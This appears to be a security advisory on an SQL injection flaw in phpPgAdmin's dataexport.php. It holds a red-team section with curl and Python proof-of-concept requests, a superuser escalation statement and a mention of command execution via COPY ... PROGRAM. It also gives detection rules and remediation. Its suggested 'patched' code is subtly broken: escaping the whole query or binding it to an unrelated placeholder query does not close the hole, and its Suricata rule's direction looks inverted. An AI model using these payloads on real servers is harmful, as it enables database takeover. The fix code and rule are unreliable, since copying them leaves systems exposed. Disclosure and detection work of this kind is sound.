CVE-2025-60797

Executive Summary

CVE-2025-60797 is a critical SQL injection vulnerability discovered in phpPgAdmin version 7.13.0 and earlier. The flaw resides in the dataexport.php script at line 118, where user-supplied input from the $_REQUEST['query'] parameter is passed directly to the database via $data->conn->Execute($_REQUEST['query']) without any sanitization or parameterization. An authenticated attacker can exploit this to execute arbitrary SQL commands, potentially leading to complete database compromise, data theft, or privilege escalation. The vulnerability has a CVSS score of 9.9 (Critical) and is currently unpatched. No public exploit code or Nuclei template has been released at this time.

Supply Chain & Package Security

phpPgAdmin is a PHP-based web application for PostgreSQL administration. It is not distributed via NPM, PyPI, Go, or Ruby registries. The supply chain risk is limited to the integrity of the source code repository and any downstream package managers (e.g., apt, yum) that distribute phpPgAdmin. Users should verify the authenticity of their installation and monitor for official patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows an authenticated attacker to execute arbitrary SQL commands, leading to full database compromise. Given the low attack complexity and no user interaction required, exploitation is straightforward.

Deep Dive & Mechanics

The vulnerability is located in dataexport.php at line 118. The code directly uses the $_REQUEST['query'] parameter in a database query execution call:

$data->conn->Execute($_REQUEST['query']);

This line passes the raw user input to the PostgreSQL Execute() method without any sanitization, parameterization, or validation. An authenticated attacker can craft a malicious SQL payload in the query parameter to perform arbitrary SQL operations, including:

• Data exfiltration: SELECT statements to steal sensitive data.
• Data manipulation: INSERT, UPDATE, DELETE statements to modify or destroy data.
• Privilege escalation: Exploiting PostgreSQL functions or superuser privileges if the database user has elevated permissions.
• Command execution: Using PostgreSQL's COPY ... PROGRAM or pg_read_file() functions (if enabled) to execute OS commands.

The vulnerability is exploitable because the $_REQUEST superglobal accepts both GET and POST parameters, making it easy to inject via URL or form data.

Vulnerable vs. Patched Code

Vulnerable Code (phpPgAdmin <= 7.13.0):

// dataexport.php line 118
$result = $data->conn->Execute($_REQUEST['query']);

Patched Code (Hypothetical):

// dataexport.php line 118
$query = pg_escape_string($data->conn, $_REQUEST['query']);
$result = $data->conn->Execute($query);

Or, better, using parameterized queries:

// dataexport.php line 118
$stmt = $data->conn->Prepare("SELECT 1 WHERE 1 = $1");
$result = $data->conn->Execute($stmt, array($_REQUEST['query']));

Note: As of this report, no official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a phpPgAdmin instance (version <= 7.13.0) with valid credentials.
• Network connectivity to the target.

Exploitation Steps:

1. Authenticate to phpPgAdmin.
2. Craft a malicious SQL payload to be injected via the query parameter. Example:

   http://target/phpPgAdmin/dataexport.php?query=SELECT+current_user;
   

3. Execute the request using a browser or tool like curl:

   curl -u "username:password" "http://target/phpPgAdmin/dataexport.php?query=SELECT+current_user;"
   

4. Extract data by modifying the SQL payload. For example, to dump all tables:

   SELECT table_name FROM information_schema.tables WHERE table_schema='public';
   

5. Escalate privileges if the database user is a superuser:

   ALTER USER attacker WITH SUPERUSER;
   

Proof of Concept (PoC) Script:

import requests

target = "http://target/phpPgAdmin/dataexport.php"
username = "admin"
password = "password"

session = requests.Session()
session.auth = (username, password)

payload = "SELECT current_user;"
response = session.get(target, params={"query": payload})
print(response.text)

Blue Team

Detection Steps:

1. Monitor HTTP requests to dataexport.php for unusual query parameters containing SQL keywords (e.g., SELECT, UNION, DROP, INSERT).
2. Enable database query logging in PostgreSQL to capture all executed queries.
3. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
4. Restrict database user permissions to the minimum required for phpPgAdmin functionality.
5. Implement input validation on the server side to reject suspicious inputs.

Honeypot Strategy:

• Deploy a fake phpPgAdmin instance with the vulnerable code to lure attackers and capture their payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /phpPgAdmin/dataexport.php with query parameter containing SQL keywords.
  • Unusual database queries originating from the phpPgAdmin web server IP.
• File IOCs:
  • Modified or new files in the phpPgAdmin directory (e.g., backdoor scripts).
• Database IOCs:
  • Unexpected SQL statements in PostgreSQL logs.
  • New database users or roles with elevated privileges.
  • Unauthorized data exports or modifications.

Detection Engineering

YARA Rule

rule CVE_2025_60797_phpPgAdmin_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-60797 in phpPgAdmin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-60797"
    strings:
        $sqli_pattern = /(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|EXEC|COPY)\s/i
        $url_pattern = /dataexport\.php.*query=/i
    condition:
        $url_pattern and $sqli_pattern
}

Sigma Rule

title: CVE-2025-60797 phpPgAdmin SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting phpPgAdmin dataexport.php
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'dataexport.php'
        cs-uri-query|re: '(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|EXEC|COPY)\s'
    condition: selection
falsepositives:
    - Legitimate database administration queries
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60797 phpPgAdmin SQL Injection Attempt"; flow:to_server,established; content:"dataexport.php"; http_uri; content:"query="; http_uri; pcre:"/(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|EXEC|COPY)\s/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable phpPgAdmin if not essential, or restrict access to trusted IPs only.
2. Apply input validation to the $_REQUEST['query'] parameter by escaping or parameterizing queries.
3. Upgrade to a patched version once available (monitor the official phpPgAdmin repository).
4. Review database user permissions and ensure the phpPgAdmin database user has minimal privileges.

Long-term Fix:

• Replace direct query execution with parameterized queries or prepared statements.
• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Conduct regular security audits and penetration testing.

Workaround:

• Modify dataexport.php to reject any query parameter containing SQL keywords or special characters.

Valters IT